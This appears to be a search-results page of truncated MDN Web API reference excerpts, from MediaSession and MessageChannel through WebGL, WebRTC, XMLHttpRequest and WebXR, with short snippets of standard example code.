to support an action on a media session, such as seeking, pausing, or changing tracks, you need to call the mediasession interface's setactionhandler() method to establish a handler for that action.
... the specific type of media session action to be handled on a mediasession is identified using a string from the mediasessionaction enumerated type.
... syntax a media session action's type is specified using a string from the mediasessionaction enumerated type.
MediaStreamTrack.stop() - Web APIs
since multiple tracks may use the same source (for example, if two tabs are using the device's microphone), the source itself isn't necessarily immediately stopped.
...once no media tracks are using the source, the source may actually be completely stopped.
...from there, all that remains to do is to iterate over the track list using foreach() and calling each track's stop() method.
MediaStreamTrackAudioSourceNode - Web APIs
a mediastreamtrackaudiosourcenode has no inputs and exactly one output, and is created using the audiocontext.createmediastreamtracksource() method.
...tream); // create a biquadfilter var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = range.value; // connect the audiobuffersourcenode to the gainnode // and the gainnode to the destination, so we can play the // music and adjust the volume using the mouse cursor source.connect(biquadfilter); biquadfilter.connect(audioctx.destination); // get new mouse pointer coordinates when mouse is moved // then set new gain value range.oninput = function() { biquadfilter.gain.value = range.value; } }) .catch(function(err) { console.log('the following gum error occured: ' + ...
...so playing/pausing the stream can still be done through the media element api and the player controls.
MessageChannel() - Web APIs
example in the following code block, you can see a new channel being created using the messagechannel.messagechannel constructor.
... when the iframe has loaded, we pass port2 to the iframe using messageport.postmessage along with a message.
... the handlemessage handler then responds to a message being sent back from the iframe (using messageport.onmessage), putting it into a paragraph.
MessageChannel.port1 - Web APIs
example in the following code block, you can see a new channel being created using the messagechannel() constructor.
... when the <iframe> has loaded, we pass messagechannel.port2 to the <iframe> using messageport.postmessage along with a message.
... the handlemessage handler then responds to a message being sent back from the <iframe> (using messageport.onmessage), putting it into a paragraph.
MessageChannel.port2 - Web APIs
example in the following code block, you can see a new channel being created using the messagechannel.messagechannel constructor.
... when the iframe has loaded, we pass port2 to the iframe using messageport.postmessage along with a message.
... the handlemessage handler then responds to a message being sent back from the iframe (using messageport.onmessage), putting it into a paragraph.
MessagePort: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessage examples suppose a script creates a messagechannel and sends one of the ports to a different browsing context, such as another <iframe>, using code like this: const channel = new messagechannel(); const myport = channel.port1; const targetframe = window.top.frames[1]; const targetorigin = 'https://example.org'; const messagecontrol = document.queryselector('#message'); const channelmessagebutton = document.queryselector('#channel-message'); channelmessagebutton.addeventlistener('click', () => { myport.postmessage(messagecontrol.value); }) targetframe.postmessag...
...e('init', targetorigin, [channel.port2]); the target can receive the port and start listening for messages on it using code like this: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.addeventlistener('message', (event) => { received.textcontent = event.data; }); myport.start(); }); note that the listener must call messageport.start() before any messages will be delivered to this port.
... this is only needed when using the addeventlistener() method: if the receiver uses onmessage instead, start() is called implicitly: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.onmessage = (event) => { received.textcontent = event.data; }; }); specifications specification status html living standard living standard ...
MessagePort: messageerror event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessageerror examples suppose a script creates a messagechannel and sends one of the ports to a different browsing context, such as another <iframe>, using code like this: const channel = new messagechannel(); const myport = channel.port1; const targetframe = window.top.frames[1]; const targetorigin = 'https://example.org'; const messagecontrol = document.queryselector('#message'); const channelmessagebutton = document.queryselector('#channel-message'); channelmessagebutton.addeventlistener('click', () => { myport.postmessage(messagecontrol.value); }...
...) targetframe.postmessage('init', targetorigin, [channel.port2]); the target can receive the port and start listening for messages and message errors on it using code like this: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.addeventlistener('message', (event) => { received.textcontent = event.data; }); myport.addeventlistener('messageerror', (event) => { console.error(event.data); }); myport.start(); }); note that the listener must call messageport.start() before any messages will be delivered to this port.
... this is only needed when using the addeventlistener() method: if the receiver uses onmessage instead, start() is called implicitly: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.onmessage = (event) => { received.textcontent = event.data; }; myport.onmessageerror = (event) => { console.error(event.data); }; }); specifications specification status html living standard living standard ...
MessagePort.onmessage - Web APIs
}; example in the following code block, you can see a new channel being created using the messagechannel.messagechannel constructor.
... when the iframe has loaded, we pass messagechannel.port2 to the iframe using messageport.postmessage along with a message.
... the handlemessage handler then responds to a message being sent back from the iframe using onmessage, putting it into a paragraph — messagechannel.port1 is listened to, to check when the message arrives.
MessagePort.postMessage() - Web APIs
example in the following code block, you can see a new channel being created using the messagechannel.messagechannel constructor.
... when the iframe has loaded, we pass messagechannel.port2 to the iframe using window.postmessage along with a message.
... the handlemessage handler then responds to a message being sent back from the iframe using onmessage, putting it into a paragraph — messagechannel.port1 is listened to, to check when the message arrives.
MessagePort - Web APIs
start() starts the sending of messages queued on the port (only needed when using eventtarget.addeventlistener; it is implied when using messageport.onmessage.) close() disconnects the port, so it is no longer active.
... example in the following example, you can see a new channel being created using the messagechannel() constructor.
... when the iframe has loaded, we register an onmessage handler for messagechannel.port1 and transfer messagechannel.port2 to the iframe using the window.postmessage method along with a message.
Navigation Timing API - Web APIs
concepts and usage you can use the navigation timing api to gather performance data on the client side, which you can then transmit to a server using xmlhttprequest or other techniques.
... calculate request response time you can calculate the time elapsed between the beginning of a request and the completion of getting the response using code like this: const connecttime = perfdata.responseend - perfdata.requeststart; here, the time at which the request was initiated (requeststart).
... calculate page render time as another example of an interesting piece of data you can obtain using the navigation timing api that you can't otherwise easily get, you can get the amount of time it took to render the page: const rendertime = perfdata.domcomplete - perfdata.domloading; this is obtained by starting with the time at which loading of the dom and its dependencies is complete (domcomplete) and subtracting from it the time at which parsing of the dom began (domloading).
NetworkInformation - Web APIs
the networkinformation interface provides information about the connection a device is using to communicate with the network and provides a means for scripts to be notified if the connection type changes.
...this value is determined using a combination of recently observed round-trip time and downlink values.
... networkinformation.type read only returns the type of connection a device is using to communicate with the network.
NodeList - Web APIs
WebAPINodeList
it can also be converted to a real array using array.from().
...this can be circumvented by using array.prototype.foreach() — see this document's example.
... example it's possible to loop over the items in a nodelist using a for loop: for (let i = 0; i < mynodelist.length; i++) { let item = mynodelist[i]; } don't use for...in to enumerate the items in nodelists, since they will also enumerate its length and item properties and cause errors if your script assumes it only has to deal with element objects.
Notifications API - Web APIs
first, the user needs to grant the current origin permission to display system notifications, which is generally done when the app or site initialises, using the notification.requestpermission() method.
... next, a new notification is created using the notification() constructor.
... note: to find out more about using notifications in your own app, read using the notifications api.
OfflineAudioContext - Web APIs
events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface: complete fired when the rendering of an offline audio context is complete.
... also available using the oncomplete event handler property.
...after the offline audio graph is set up, you need to render it to an audiobuffer using offlineaudiocontext.startrendering.
PaymentRequest.canMakePayment() - Web APIs
for instance, you might call canmakepayment() to determine if the browser will let the user pay using payment request api, and if it won't, you could fall back to another payment method, or offer a list of methods that aren't handled by payment request api (or even provide instructions for paying by mail or by phone).
...}) canpay = await paymentrequest.canmakepayment(); returns a promise to a boolean that resolves to true if the user agent supports any of the payment methods supplied when instantiating the request using the paymentrequest constructor.
...let's see if we can use basic card const supportsbasiccard = await new paymentrequest( [{ supportedmethods: "basic-card" }], details ).canmakepayment(); if (supportsbasiccard) { // show basic card support return; } // otherwise, make payments using html form element } specifications specification status comment payment request apithe definition of 'canmakepayment()' in that specification.
Permissions API - Web APIs
once you have this object you can then perform permission-related tasks, for example querying a permission using the permissions.query() method to return a promise that resolves with the permissionstatus for a specific api.
... not all apis' permission statuses can be queried using the permissions api.
... read more about how it works in our article using the permissions api.
Pointer events - Web APIs
(all of the following properties are read only .) pointerid a unique identifier for the pointer causing the event.
... examples this section contains examples of basic usage of using the pointer events interfaces.
... best practices here are some best practices to consider when using pointer events: minimize the amount of work performed in event handlers.
ProgressEvent.initProgressEvent() - Web APIs
the progressevent.initprogressevent() method initializes an animation event created using the deprecated document.createevent("progressevent") method.
...when downloading a resource using http, this only represent the part of the content itself, not headers and other overhead.
...when downloading a resource using http, this only represent the content itself, not headers and other overhead.
ProgressEvent - Web APIs
when downloading a resource using http, this only represent the part of the content itself, not headers and other overhead.
...when downloading a resource using http, this only represent the content itself, not headers and other overhead.
... progressevent.initprogressevent() initializes a progressevent created using the deprecated document.createevent("progressevent") method.
RTCConfiguration - Web APIs
see using certificates below for additional information.
... note: in technical terms, a bundle lets all media flow between two peers flow across a single 5-tuple; that is, from a single ip and port on one peer to a single ip and port on the other peer, using the same transport protocol.
... using certificates when you wish to provide your own certificates for use by an rtcpeerconnection instead of having the rtcpeerconnection generate them automatically, you do so through calls to rtcpeerconnection.generatecertificate().
RTCDTMFSender - Web APIs
events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
... also available using the ontonechange event handler property.
... example see the article using dtmf with webrtc for a full example.
RTCDataChannel.send() - Web APIs
this will get less complicated over time, but for now, if you have questions, see understanding message size limits in using webrtc data channels.
...for example, if one peer is a modern browser that supports using the eor (end of record) flag to indicate when a received message is the last piece of a multi-part object sent using send().
... for more information about message size restrictions, see understanding message size limits in using webrtc data channels.
RTCPeerConnection.createOffer() - Web APIs
er({ name: myusername, target: targetusername, type: "video-offer", sdp: mypeerconnection.localdescription }); }) .catch(function(reason) { // an error occurred, so handle the failure to connect }); in this code, the offer is created, and once successful, the local end of the rtcpeerconnection is configured to match by passing the offer (which is represented using an object conforming to rtcsessiondescriptioninit) into setlocaldescription().
... once that's done, the offer is sent to the remote system over the signaling channel; in this case, by using a custom function called sendtoserver().
... the implementation of the signaling server is independent from the webrtc specification, so it doesn't matter how the offer is sent as long as both the caller and potential receiver are using the same one.
RTCPeerConnection: iceconnectionstatechange event - Web APIs
however, under certain circumstances, the connected state can be skipped, causing a connection to transition directly from the checking state to completed.
... examples an event handler for this event can be added using the rtcpeerconnection.oniceconnectionstatechange property or by using addeventlistener() on the rtcpeerconnection.
... in this example, a handler for iceconnectionstatechange is set up to update a call state indicator by using the value of iceconnectionstate to create a string which corresponds to the name of a css class that we can assign to the status indicator to cause it to reflect the current state of the connection.
RTCPeerConnection.restartIce() - Web APIs
restartice() causes the negotiationneeded event to be fired on the rtcpeerconnection to inform the application that it should perform negotiation using its signaling channel.
... usage notes after calling restartice(), the next offer created using createoffer() will initiate ice restart once sent to the remote peer over your signaling mechanism.
... restarting ice essentially resets ice so that it creates all new candidates using new credentials.
RTCPeerConnection.setConfiguration() - Web APIs
perhaps the user has moved into a new region, so using new regional ice servers is necessary, for example.
... example in this example, it has already been determined that ice restart is needed, and that negotiation needs to be done using a different ice server.
...turnserver.net", username: "allie@oopcode.com", credential: "topsecretpassword" }] }; mypeerconnection.setconfiguration(restartconfig); mypeerconnection.createoffer({"icerestart": true}).then(function(offer) { return mypeerconnection.setlocaldescription(offer); }) .then(function() { // send the offer to the other peer using the signaling server }) .catch(reporterror); first, a new rtcconfiguration is created, restartconfig, specifying the new ice server and its credentials.
RTCPeerConnection.setRemoteDescription() - Web APIs
this lets you simplify code such as the following: mypeerconnection.setremotedescription(new rtcsessiondescription(description)) .then(function () { return createmystream(); }) to simply be: mypeerconnection.setremotedescription(description) .then(function () { return createmystream(); }) using async/await syntax, you can further simplify this to: await mypeerconnection.setremotedescription(description); createmystream(); since it's unnecessary, the rtcsessiondescription() constructor is deprecated.
... exceptions when using the deprecated callback-based version of setremotedescription(), the following exceptions may occur: invalidstateerror the connection's signalingstate is "closed", indicating that the connection is not currently open, so negotiation cannot take place.
...etusermedia(mediaconstraints); }) .then(function(stream) { document.getelementbyid("local_video").srcobject = stream; return mypeerconnection.addstream(stream); }) .then(function() { return mypeerconnection.createanswer(); }) .then(function(answer) { return mypeerconnection.setlocaldescription(answer); }) .then(function() { // send the answer to the remote peer using the signaling server }) .catch(handlegetusermediaerror); } after creating our rtcpeerconnection and saving it as mypeerconnection, we pass the description included in the received offer message, msg, directly into setremotedescription() to tell the user agent's webrtc layer what configuration the caller has proposed using.
Request.mode - Web APIs
WebAPIRequestmode
for example, when a request object is created using the request.request constructor, the value of the mode property for that request is set to cors.
... however, for requests created other than by the request.request constructor, no-cors is typically used as the mode; for example, for embedded resources where the request is initiated from markup, unless the crossorigin attribute is present, the request is in most cases made using the no-cors mode — that is, for the <link> or <script> elements (except when used with modules), or <img>, <audio>, <video>, <object>, <embed>, or <iframe> elements.
... example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request mode in a variable: var myrequest = new request('flowers.jpg'); var mymode = myrequest.mode; // returns "cors" by default specifications specification status comment fetchthe definition of 'mode' in that specification.
Request - Web APIs
WebAPIRequest
you can create a new request object using the request() constructor, but you are more likely to encounter a request object being returned as the result of another api operation, such as a service worker fetchevent.request.
... examples in the following snippet, we create a new request using the request() constructor (for an image file in the same directory as the script), then return some property values of the request: const request = new request('https://www.mozilla.org/favicon.ico'); const url = request.url; const method = request.method; const credentials = request.credentials; you could then fetch this request by passing the request object in as a parameter to a windoworwor...
...kerglobalscope.fetch() call, for example: fetch(request) .then(response => response.blob()) .then(blob => { image.src = url.createobjecturl(blob); }); in the following snippet, we create a new request using the request() constructor with some initial data and body content for an api request which need a body payload: const request = new request('https://example.com', {method: 'post', body: '{"foo": "bar"}'}); const url = request.url; const method = request.method; const credentials = request.credentials; const bodyused = request.bodyused; note: the body type can only be a blob, buffersource, formdata, urlsearchparams, usvstring or readablestream type, so for adding a json object to the payload you need to stringify that object.
Response.clone() - Web APIs
WebAPIResponseclone
example in our fetch response clone example (see fetch response clone live) we create a new request object using the request() constructor, passing it a jpg path.
... we then fetch this request using fetch().
... when the fetch resolves successfully, we clone it, extract a blob from both responses using two body.blob calls, create object urls out of the blobs using url.createobjecturl, and display them in two separate <img> elements.
SVGSVGElement - Web APIs
s for viewbox, preserveaspectratio and zoomandpan within currentview will match the values for the corresponding dom attributes that are on svgsvgelement directly for the closest ancestor <svg> element the values for transform within currentview will be null the viewtarget within currentview will represent the target of the link if the initial view was a link into the svg document fragment using an svg view specification fragment identifier (i.e., #svgview(…)), then: the values for viewbox, preserveaspectratio, zoomandpan, transform and viewtarget within currentview will correspond to the values from the svg view specification fragment identifier svgsvgelement.currentscale on an outermost <svg> element, this float attribute indicates the current scale factor relative to the ...
... svgsvgelement.pauseanimations() suspends (i.e., pauses) all currently running animations that are defined within the svg document fragment corresponding to this <svg> element, causing the animation clock corresponding to this document fragment to stand still until it is unpaused.
... svgsvgelement.unpauseanimations() unsuspends (i.e., unpauses) currently running animations that are defined within the svg document fragment, causing the animation clock to continue from the time at which it was suspended.
Screen Capture API - Web APIs
see the article using the screen capture api for a more in-depth look at how to use the api to capture screen contents as a stream.
... feature policy validation user agents that support feature policy (either using http's feature-policy header or the <iframe> attribute allow) can specify a desire to use the screen capture api using the policy control directive display-capture: <iframe allow="display-capture" src="/some-other-document.html"> the default allow list is self, which lets the any content within the document use screen capture.
... see using feature policy for a more in-depth explanation of how feature policy is used.
Screen Wake Lock API - Web APIs
if your app is performing long-running downloads, consider using background fetch.
... if you app is synchronizing data from a remote server, consider using background sync.
...refer to using feature policy for reference how to use it.
Server-sent events - Web APIs
concepts and usage to learn how to use server-sent events, see our article using server-sent events.
... examples simple sse demo using php specification specification status comment html living standardthe definition of 'server-sent events' in that specification.
... html5 and server-sent events server-sent events using asp.net ...
ServiceWorkerContainer.startMessages() - Web APIs
explanation by default, all messages sent from a page's controlling service worker to the page (using client.postmessage()) are queued while the page is loading, and get dispatched once the page's html document has been loaded and parsed (i.e.
...it's possible to start dispatching these messages earlier by calling serviceworkercontainer.startmessages(), for example if you've invoked a message handler using eventtarget.addeventlistener() before the page has finished loading, but want to start processing the messages right away.
... note: the messages start being sent automatically when setting the handler directly using serviceworkercontainer.onmessage.
SharedWorkerGlobalScope.applicationCache - Web APIs
don't use it to make offline websites — consider using service workers instead.
... the applicationcache read-only property of the sharedworkerglobalscope interface returns the applicationcache object for the worker (see using the application cache).
... example if a shared worker has an appcache associated with it, you can return a reference to the cache using self.applicationcache from inside the shared worker.
SpeechGrammarList - Web APIs
grammar is defined using jspeech grammar format (jsgf.) other formats may also be supported in the future.
... methods speechgrammarlist.item() standard getter — allows individual speechgrammar objects to be retrieved from the speechgrammarlist using array syntax.
... examples in our simple speech color changer example, we create a new speechrecognition object instance using the speechrecognition() constructor, create a new speechgrammarlist, add our grammar string to it using the speechgrammarlist.addfromstring method, and set it to be the grammar that will be recognised by the speechrecognition instance using the speechrecognition.grammars property.
SpeechSynthesis - Web APIs
events listen to this event using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
...in our speech synthesiser demo, we first grab a reference to the speechsynthesis controller using window.speechsynthesis.
... after defining some necessary variables, we retrieve a list of the voices available using speechsynthesis.getvoices() and populate a select menu with them so the user can choose what voice they want.
SpeechSynthesisUtterance - Web APIs
events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
... examples in our basic speech synthesiser demo (source), we first grab a reference to the speechsynthesis controller using window.speechsynthesis.
... after defining some necessary variables, we retrieve a list of the voices available using speechsynthesis.getvoices() and populate a select menu with them so the user can choose what voice they want.
StereoPannerNode - Web APIs
it is an audionode audio-processing module that positions an incoming audio stream in a stereo image using a low-cost equal-power panning algorithm.
...in the javascript we create a mediaelementaudiosourcenode and a stereopannernode, and connect the two together using the connect() method.
...er(); // event handler function to increase panning to the right and left // when the slider is moved pancontrol.oninput = function() { pannode.pan.setvalueattime(pancontrol.value, audioctx.currenttime); panvalue.innerhtml = pancontrol.value; } // connect the mediaelementaudiosourcenode to the pannode // and the pannode to the destination, so we can play the // music and adjust the panning using the controls source.connect(pannode); pannode.connect(audioctx.destination); specifications specification status comment web audio apithe definition of 'stereopannernode' in that specification.
Streams API concepts - Web APIs
you can make use of ready-made readable streams via mechanisms like a response.body from a fetch request, or roll your own streams using the readablestream() constructor.
... you can make use of writable streams using the writablestream() constructor.
... pipe chains the streams api makes it possible to pipe streams into one another (or at least it will do when browsers implement the relevant functionality) using a structure called a pipe chain.
msManipulationViewsEnabled - Web APIs
the msmanipulationviewsenabled read-only property returns true if manipulation features are support available, such as touch panning and zooming using css rules.
... value returns true if manipulation features are support available, such as touch panning and zooming using css rules.
... example using a json file: { msmanipulationviewsenabled: true, } see also touch api microsoft api extensions ...
URL - Web APIs
WebAPIURL
if a browser doesn't yet support the url() constructor, you can access a url object using the window interface's window.url property.
... constructor new url() creates and returns a url object referencing the url specified using an absolute url string, or a relative url string and a base url string.
... revokeobjecturl() revokes an object url previously created using url.createobjecturl().
WEBGL_compressed_texture_astc - Web APIs
for more information, see the article using astc texture compression for game assets by nvidia.
... webgl extensions are available using the webglrenderingcontext.getextension() method.
... for more information, see also using extensions in the webgl tutorial.
WebGLRenderingContext.bufferData() - Web APIs
when using a webgl 2 context, the following values are available additionally: gl.copy_read_buffer: buffer for copying from one buffer object to another.
... when using a webgl 2 context, the following values are available additionally: gl.static_read: the contents are intended to be specified once by reading data from webgl, and queried many times by the application.
... examples using bufferdata var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, 1024, gl.static_draw); getting buffer information to check the current buffer usage and buffer size, use the webglrenderingcontext.getbufferparameter() method.
WebGLRenderingContext.checkFramebufferStatus() - Web APIs
when using a webgl 2 context, the following values are available additionally: gl.draw_framebuffer: equivalent to gl.framebuffer.
... when using a webgl 2 context, the following values can be returned additionally: gl.framebuffer_incomplete_multisample: the values of gl.renderbuffer_samples are different among attached renderbuffers, or are non-zero if the attached images are a mix of renderbuffers and textures.
... when using the ovr_multiview2 extension, the following value can be returned additionally: ext.framebuffer_incomplete_view_targets_ovr: if baseviewindex is not the same for all framebuffer attachment points where the value of framebuffer_attachment_object_type is not none, the framebuffer is considered incomplete.
WebGLRenderingContext.framebufferRenderbuffer() - Web APIs
when using a webgl 2 context, the following values are available additionally: gl.draw_framebuffer: equivalent to gl.framebuffer.
... when using a webgl 2 context, the following values are available additionally: gl.color_attachment1 gl.color_attachment2 gl.color_attachment3 gl.color_attachment4 gl.color_attachment5 gl.color_attachment6 gl.color_attachment7 gl.color_attachment8 gl.color_attachment9 gl.color_attachment10 gl.color_attachment11 gl.color_attachment12 gl.color...
..._attachment13 gl.color_attachment14 gl.color_attachment15 when using the webgl_draw_buffers extension: ext.color_attachment0_webgl (same as gl.color_attachment0) ext.color_attachment1_webgl ext.color_attachment2_webgl ext.color_attachment3_webgl ext.color_attachment4_webgl ext.color_attachment5_webgl ext.color_attachment6_webgl ext.color_attachment7_webgl ext.color_attachment8_webgl ext.color_attachment9_webgl ext.color_attachment10_webgl ext.color_attachment11_webgl ext.color_attachment12_webgl ext.color_attachment13_webgl ext.color_attachment14_webgl ext.color_attachment15_webgl renderbuffertarget a glenum specifying the binding point (target) for the render buffer.
WebGLRenderingContext.getTexParameter() - Web APIs
when using a webgl 2 context, the following values are available additionally: gl.texture_3d: a three-dimensional texture.
... additionally available when using the ext_texture_filter_anisotropic extension ext.texture_max_anisotropy_ext glfloat maximum anisotropy for a texture any float values.
... additionally available when using a webgl 2 context gl.texture_base_level glint texture mipmap level any int values.
WebGLRenderingContext.texParameter[fi]() - Web APIs
when using a webgl 2 context, the following values are available additionally: gl.texture_3d: a three-dimensional texture.
... additionally available when using the ext_texture_filter_anisotropic extension ext.texture_max_anisotropy_ext maximum anisotropy for a texture a glfloat value.
... additionally available when using a webgl 2 context gl.texture_base_level texture mipmap level any int values.
WebGLRenderingContext - Web APIs
this can be used to start an application using standard 2d presentation, then transition to using a vr or ar mode later.
... webglrenderingcontext.flush() empties different buffer commands, causing all commands to be executed as quickly as possible.
... the effect is clearly visible when using scissor() and clear() to draw a square in the center of the canvas, by specifying its position and size in pixels.
Raining rectangles - Web APIs
here, the game loop is implemented using timeouts.
...; } var score = 0, misses = 0; function drawanimation () { gl.scissor(rainingrect.position[0], rainingrect.position[1], rainingrect.size[0] , rainingrect.size[1]); gl.clear(gl.color_buffer_bit); rainingrect.position[1] -= rainingrect.velocity; if (rainingrect.position[1] < 0) { misses += 1; missesdisplay.innerhtml = misses; rainingrect = new rectangle(); } // we are using settimeout for animation.
... position[0] - rainingrect.position[0], position[1] - rainingrect.position[1] ]; if ( diffpos[0] >= 0 && diffpos[0] < rainingrect.size[0] && diffpos[1] >= 0 && diffpos[1] < rainingrect.size[1] ) { score += 1; scoredisplay.innerhtml = score; rainingrect = new rectangle(); } } function rectangle () { // keeping a reference to the new rectangle object, rather // than using the confusing this keyword.
Scissor animation - Web APIs
« previousnext » a simple webgl example in which we have some animation fun using scissoring and clearing operations.
... animation with scissoring in this example, we are animating squares using scissor() and clear().
... we again establish an animation loop using timers.
A simple RTCDataChannel sample - Web APIs
this stuff can be confusing, but you get used to it).
...the user interface is updated correspondingly by enabling the text input box for the message to send, focusing the input box so that the user can immediately begin to type, enabling the "send" and "disconnect" buttons, now that they're usable, and disabling the "connect" button, since it is not needed when the conneciton is open.
...this text node is appended as a child of the new element, which is then inserted into the receivebox block, thereby causing it to draw in the browser window.
Keyframe Formats - Web APIs
element.animate({ opacity: [ 0, 1 ], // [ from, to ] color: [ "#fff", "#000" ] // [ from, to ] }, 2000); using this format, the number of elements in each array does not need to be equal.
...the property names are specified using camel-case so for example background-color becomes backgroundcolor and background-position-x becomes backgroundpositionx.
...this is equivalent to specifying start and end states in percentages in css stylesheets using @keyframes.
Web Animations API Concepts - Web APIs
to learn how to put the api to use, check out its sister article, using the web animations api.
...the animation object takes this information and, using the timeline object, assembles a playable animation we can view and reference.
...(read more about how to use element.animate() in using the web animations api.) uses the api allows for the creation of dynamic animations that can be updated on the fly as well as more straightforward, declarative animations like those css creates.
Web Animations API - Web APIs
to get more information on the concepts behind the api and how to use it, read using the web animations api.
...these can then be played using the animation() constructor.
... documenttimeline represents animation timelines, including the default document timeline (accessed using the document.timeline property).
Controlling multiple parameters with ConstantSourceNode - Web APIs
the solution is simple, and it involves using an audio node type which, at first glance, doesn't look all that useful: constantsourcenode.
...two of them have adjustable gain, controlled using a shared input control.
...gainnode2 and gainnode3 will be linked together to have the same, adjustable, value using the constantsourcenode.
Web Workers API - Web APIs
web workers concepts and usage a worker is an object created using a constructor (e.g.
... data is sent between workers and the main thread via a system of messages — both sides send their messages using the postmessage() method, and respond to messages via the onmessage event handler (the message is contained within the message event's data property).
... you can find out more information on how these demos work in using web workers.
Window.speechSynthesis - Web APIs
the speechsynthesis read-only property of the window object returns a speechsynthesis object, which is the entry point into using web speech api speech synthesis functionality.
... examples in our basic speech synthesiser demo, we first grab a reference to the speechsynthesis controller using window.speechsynthesis.
... after defining some necessary variables, we retrieve a list of the voices available using speechsynthesis.getvoices() and populate a select menu with them so the user can choose what voice they want.
WindowEventHandlers.onhashchange - Web APIs
syntax using an event handler: window.onhashchange = funcref; using an html event handler: <body onhashchange="funcref();"> using an event listener: to add an event listener, use addeventlistener(): window.addeventlistener("hashchange", funcref, false); parameters funcref a reference to a function.
... examples using an event handler this example uses an event handler (window.onhashchange) to check the new hash value whenever it changes.
... function locationhashchanged() { if (location.hash === '#cool-feature') { console.log("you're visiting a cool feature!"); } } window.onhashchange = locationhashchanged; using an event listener this example uses an event listener to log a notification whenever the hash has changed.
WindowOrWorkerGlobalScope.fetch() - Web APIs
note that a request using the get or head method cannot have a body.
...this information should instead be provided using an authorization header.
... examples in our fetch request example (see fetch request live) we create a new request object using the relevant constructor, then fetch it using a fetch() call.
WindowOrWorkerGlobalScope - Web APIs
windoworworkerglobalscope.atob() decodes a string of data which has been encoded using base-64 encoding.
... windoworworkerglobalscope.clearinterval() cancels the repeated execution set using windoworworkerglobalscope.setinterval().
... windoworworkerglobalscope.cleartimeout() cancels the delayed execution set using windoworworkerglobalscope.settimeout().
HTML in XMLHttpRequest - Web APIs
this feature allows web apps to obtain an html resource as a parsed dom using xmlhttprequest.
... to get an overview of how to use xmlhttprequest in general, see using xmlhttprequest.
... usage retrieving an html resource as a dom using xmlhttprequest works just like retrieving an xml resource as a dom using xmlhttprequest, except you can't use the synchronous mode and you have to explicitly request a document by assigning the string "document" to the responsetype property of the xmlhttprequest object after calling open() but before calling send().
XMLHttpRequest() - Web APIs
for details about how to use xmlhttprequest, see using xmlhttprequest.
...most important, this means that cookies will not be sent unless explicitly added using setrequestheader.
... mozsystem boolean: setting this flag to true allows making cross-site connections without requiring the server to opt-in using cors.
XMLHttpRequest.send() - Web APIs
if the request is asynchronous (which is the default), this method returns as soon as the request is sent and the result is delivered using events.
... if no accept header has been set using the setrequestheader(), an accept header with the type "*/*" (any type) is sent.
...in file uploads) is by using an arraybufferview or blob in conjunction with the send() method.
XMLHttpRequest - Web APIs
if your communication needs to involve receiving event data or message data from a server, consider using server-sent events through the eventsource interface.
... xmlhttprequest.withcredentials is a boolean that indicates whether or not cross-site access-control requests should be made using credentials such as cookies or authorization headers.
...see using xmlhttprequest.
XRBoundedReferenceSpace.boundsGeometry - Web APIs
this boundary is typically configured by the user, using the software that controls their xr hardware.
... this may be done by walking the border of the space they wish to use, or by drawing the shape of their room using their xr input device.
...however, you can't represent spaces with uneven floor levels using xrboundedreferencespace.
XRInputSource - Web APIs
the device is specific to the platform being used, but provides the direction in which it is being aimed and optionally may generate events if the user triggers performs actions using the device.
...this space is established using the method defined by targetraymode.
... usage notes actions and the target ray if the device provides an indication of the direction in which it is pointed, this is done using a target ray.
XRPermissionDescriptor - Web APIs
user permissions in the webxr device api are managed using the permissions api.
... if the permission request promise is rejected, the error is handled (currently by just dumping it to the console using domxref("console.log()")}}).
... if the permissions api isn't available at all, this example simply assumes that webxr will report an appropriate error if permission isn't available, and tries to start up the webxr session using the same setupxr() function called by the granted case.
XRReferenceSpace: reset event - Web APIs
the reset event is sent to an xrreferencespace object when a discontinuity is detected in either the native origin or the effective origin, causing a jump in the position or orientation of objects oriented using the reference space.
... the webxr infrastructure or hardware drivers detected that the device had temporarily lost tracking, causing the hardware and software to be out of sync on position and orientation.
... manual resets if you've spent any time using a vr headset, you've had times when you've started it up and although you're facing straight ahead, the headset thinks you're looking at the sky or the floor; or times when you point the hand controller straight forward, but it thinks you're pointing it up and to the right somewhere.
XRSession.environmentBlendMode - Web APIs
you should use caution when using its features.
... alpha-blend used by headsets or goggles which use cameras to capture the real world and display it digitally on the screen or screens used to render the content for the user to see, this offers a way to create an ar presentation using a vr device.
... alpha blending can also be used by non-wearable devices that provide ar modes, such as phones or tablets using cameras to capture the real world for use in ar apps.
XRSession.onsqueezestart - Web APIs
examples this snippet of code adds a simple handler for the squeezestart event, which responds only to events on the user's dominant hand by getting the target ray, then calling a function findobjectusingray() to identify the object that the user is pointing at.
... this object is then stored in a heldobject variable in the user object we're using to represent user information.
... xrsession.onsqueezestart = event => { if (event.inputsource.handedness == user.handedness) { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace; if (targetraypose) { user.heldobject = findobjectusingray(targetraypose.transform); } } }; specifications specification status comment webxr device apithe definition of 'xrsession.onsqueezestart' in that specification.
XRSession: selectend event - Web APIs
primary actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer.
... after checking to ensure that the received event is a tracked-pointer event (the only kind we handle here), the target ray's pose is obtained using getpose().
...the mybegintracking() function would presumably start the presentation of the object-dragging process, using the transform to perform a hit test, determining which object to pick up.
XRSession: selectstart event - Web APIs
primary actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer.
... after checking to ensure that the received event is a tracked-pointer event (the only kind we handle here), the target ray's pose is obtained using getpose().
...the mybegintracking() function would presumably start the presentation of the object-dragging process, using the transform to perform a hit test, determining which object to pick up.
XRSession: squeezeend event - Web APIs
